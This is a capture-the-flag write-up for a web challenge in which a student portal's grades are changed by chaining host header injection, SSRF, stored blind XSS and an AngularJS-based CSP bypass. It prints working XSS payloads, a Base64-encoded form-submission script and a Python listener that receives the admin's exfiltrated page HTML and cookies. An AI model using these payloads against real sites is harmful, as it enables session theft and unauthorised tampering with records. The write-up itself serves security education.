eschatonCTFwebCTFWriteup

Eschaton CTF 2026: Campus Link

2026-02-20Athul Prakash NJ (@psychoSherlock)

Campus Link — Eschaton 2026 Writeup

Author Writeup


Chellenge Description

So, my girlfriend, she hates academics. She's been so lazy that this semester her grades are LITERALLY 'F'. And she's blaming me for it as if I am the reason. Anyways, whats done is done. All we can do now is just sit here and whine.... or... we could just hack the portal and give her 'S' grades? I am not good at whining. Getting an all 'S' grade will make her happy and hopefully the Principal too! Here is her campus portal login credentials:

grumpycat@campuslink.com:IHateC0llege123

Initial Access and Reconnaissance

The challenge provided login credentials for the student portal:

grumpycat@campuslink.com : IHateC0llege123

After logging in, the dashboard presented a grades section where students could submit re-evaluation requests. A request was submitted for one of the failing grades, and after approximately three minutes, the admin responded, marking it as rejected. This confirmed that an active bot or admin process was reviewing and responding to submitted requests — a detail that would prove critical later.

While waiting for that response, directory enumeration was performed using Gobuster, which revealed a notable endpoint: /server-status.

Blog image

Sending a request to /server-status revealed the application was running a Uvicorn server. The response also returned an error: no path specified, with a 404 status code.

Blog image


Host Header Injection and Internal Port Discovery

Providing a path parameter — /server-status?path=/ — resulted in a redirect to the application's /login page. At this point, the server appeared to be fetching the specified path internally, suggesting a server-side request forgery (SSRF) vector.

Experimenting with the Host header revealed something more interesting. Changing the host to example.com caused the server to redirect accordingly, confirming host header injection.

Blog image

Setting the host to 127.0.0.1 (with port 80) still returned the standard login page. Trying uncommon ports, such as 127.0.0.1:69, returned the error {"detail":"Cannot connect to target"}, confirming the server was actively attempting to connect to the specified host and port.

Blog image Blog image

Iterating over common ports, setting the host to 127.0.0.1:8080 produced a redirect to /adminlogin rather than the usual /login. This indicated a separate admin application was running internally on port 8080.

Blog image


Admin Panel Discovery and CSP Analysis

Following the redirect by passing /adminlogin as the path parameter rendered the admin login page through the server-status proxy. Credentials were unknown, and POST requests through this mechanism were not feasible. However, inspecting the response headers revealed a notable Content Security Policy:

content-security-policy:
default-src 'self';
script-src https://cdnjs.cloudflare.com 'unsafe-eval';
style-src 'self';
img-src 'none';
font-src 'self';
connect-src *;
frame-src 'none';
base-uri 'self';
form-action 'self';
object-src 'none';

Blog image

The key observation here is that script-src permits scripts loaded from https://cdnjs.cloudflare.com, combined with 'unsafe-eval'. This is a well-known misconfiguration that allows CSP bypass through AngularJS sandbox escapes, since older versions of AngularJS are hosted on the Cloudflare CDN and can be used to execute arbitrary JavaScript in a CSP-restricted context.


Blind XSS via Grade Re-evaluation Request

Returning to the grade re-evaluation flow, the admin panel HTML (later recovered) showed that the submitted "reason" field from student requests was rendered unsanitized inside the admin's review page — a classic stored XSS condition.

The CSP prevented straightforward inline script execution, but the allowed CDN origin made an AngularJS-based payload viable. The following payload structure was used, exploiting AngularJS 1.4.6's sandbox escape to evaluate arbitrary JavaScript encoded as a Base64 string:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app>
  {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };var s=atob("<BASE64_PAYLOAD>");eval(s);//');}}
</div>

Phase 1 — Exfiltrate the admin panel HTML

The first payload fetched the full page HTML and all cookies and sent them via a POST request to a listener. Since the admin's browser (Chromium-based) enforces CORS, a simple Netcat listener or Burp Collaborator would not work — the browser would first send a preflight OPTIONS request, which standard listeners do not handle.

A custom Python HTTP server was used to handle CORS properly:

from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime
import uuid
import os

OUTPUT_DIR = "."

class CORSHandler(BaseHTTPRequestHandler):
    def _set_cors_headers(self):
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Authorization, Content-Type")

    def log_message(self, format, *args):
        return

    def do_OPTIONS(self):
        self.send_response(200)
        self._set_cors_headers()
        self.end_headers()

    def do_POST(self):
        content_length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_length)
        request_id = str(uuid.uuid4())
        timestamp = datetime.utcnow().isoformat()
        filename = f"request_{request_id}.txt"
        filepath = os.path.join(OUTPUT_DIR, filename)
        with open(filepath, "wb") as f:
            f.write(b"=== METADATA ===\n")
            f.write(f"Request-ID: {request_id}\n".encode())
            f.write(f"Timestamp: {timestamp} UTC\n".encode())
            f.write(f"Client: {self.client_address[0]}\n\n".encode())
            f.write(b"=== HEADERS ===\n")
            for header, value in self.headers.items():
                f.write(f"{header}: {value}\n".encode())
            f.write(b"\n=== BODY ===\n")
            f.write(body)
        print(f"\n[+] Received POST from {self.client_address[0]}")
        print(body.decode(errors="ignore"))
        self.send_response(200)
        self._set_cors_headers()
        self.end_headers()
        self.wfile.write(b"OK")

print("Listening on port 4444")
HTTPServer(("0.0.0.0", 4444), CORSHandler).serve_forever()

After submitting the payload and waiting approximately three minutes for the admin bot to process the request, the listener received a hit containing the full admin page HTML.

Blog image


Analysing the Admin Panel Structure

The recovered HTML revealed the following structure for the admin's re-evaluation review page:

<form method="post" action="/pleas/2">
  <select name="status">
    <option value="Updated">Updated</option>
    <option value="Rejected">Rejected</option>
  </select>
  <input type="text" name="updated_grade" placeholder="New grade" />
  <textarea name="feedback" placeholder="Feedback" required></textarea>
  <button type="submit">Submit</button>
</form>

Each pending plea was rendered as a form that submitted to /pleas/<id>. With this knowledge, the attack path was clear: craft a second XSS payload that, when executed in the admin's browser, would automatically fill in and submit all visible plea forms with a status of Updated and a grade of S.


Phase 2 — Automated Grade Modification

The JavaScript payload to accomplish this was straightforward:

document.querySelectorAll('form[action^="/pleas/"]').forEach((form) => {
  const statusSelect = form.querySelector('select[name="status"]');
  if (statusSelect) statusSelect.value = "Updated";

  const gradeInput = form.querySelector('input[name="updated_grade"]');
  if (gradeInput) gradeInput.value = "S";

  const feedbackArea = form.querySelector('textarea[name="feedback"]');
  if (feedbackArea) feedbackArea.value = "You deserved this";

  form.submit();
});

This was Base64-encoded and embedded into the same AngularJS CSP-bypass payload structure:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app>
  {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };var
  s=atob("ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnZm9ybVthY3Rpb25ePSIvcGxlYXMvIl0nKS5mb3JFYWNoKGZvcm0gPT4gewogIC8vIFNldCBzdGF0dXMgdG8gIlVwZGF0ZWQiCiAgY29uc3Qgc3RhdHVzU2VsZWN0ID0gZm9ybS5xdWVyeVNlbGVjdG9yKCdzZWxlY3RbbmFtZT0ic3RhdHVzIl0nKTsKICBpZiAoc3RhdHVzU2VsZWN0KSBzdGF0dXNTZWxlY3QudmFsdWUgPSAiVXBkYXRlZCI7CgogIC8vIFNldCBuZXcgZ3JhZGUgdG8gIlMiCiAgY29uc3QgZ3JhZGVJbnB1dCA9IGZvcm0ucXVlcnlTZWxlY3RvcignaW5wdXRbbmFtZT0idXBkYXRlZF9ncmFkZSJdJyk7CiAgaWYgKGdyYWRlSW5wdXQpIGdyYWRlSW5wdXQudmFsdWUgPSAiUyI7CgogIC8vIFNldCBmZWVkYmFjawogIGNvbnN0IGZlZWRiYWNrQXJlYSA9IGZvcm0ucXVlcnlTZWxlY3RvcigndGV4dGFyZWFbbmFtZT0iZmVlZGJhY2siXScpOwogIGlmIChmZWVkYmFja0FyZWEpIGZlZWRiYWNrQXJlYS52YWx1ZSA9ICJZb3UgZGVzZXJ2ZWQgdGhpcyI7CgogIC8vIFN1Ym1pdCB0aGUgZm9ybQogIGZvcm0uc3VibWl0KCk7Cn0pOw==");eval(s);//');}}
</div>

This was submitted as the reason for all remaining re-evaluation requests. Once the admin bot loaded the page containing the payload, AngularJS executed the encoded script before any manual rejection could occur, submitting all the forms automatically on the admin's behalf.


Result

Shortly after submission, a notification arrived from the principal confirming the grade updates.

Blog image Blog image

The flag was included in the principal's message.


Vulnerability Chain Summary

StepVulnerabilityImpact
1Host Header InjectionRedirects internal requests to arbitrary hosts/ports
2SSRF via /server-status?path=Proxies requests to the internal admin application on port 8080
3Stored Blind XSS in re-evaluation reason fieldExecutes JavaScript in the admin's browser context
4CSP Bypass via AngularJS on Cloudflare CDNCircumvents script-src restrictions using a trusted, whitelisted CDN host
5Automated Form SubmissionModifies all grade re-evaluation entries to "S" before admin rejection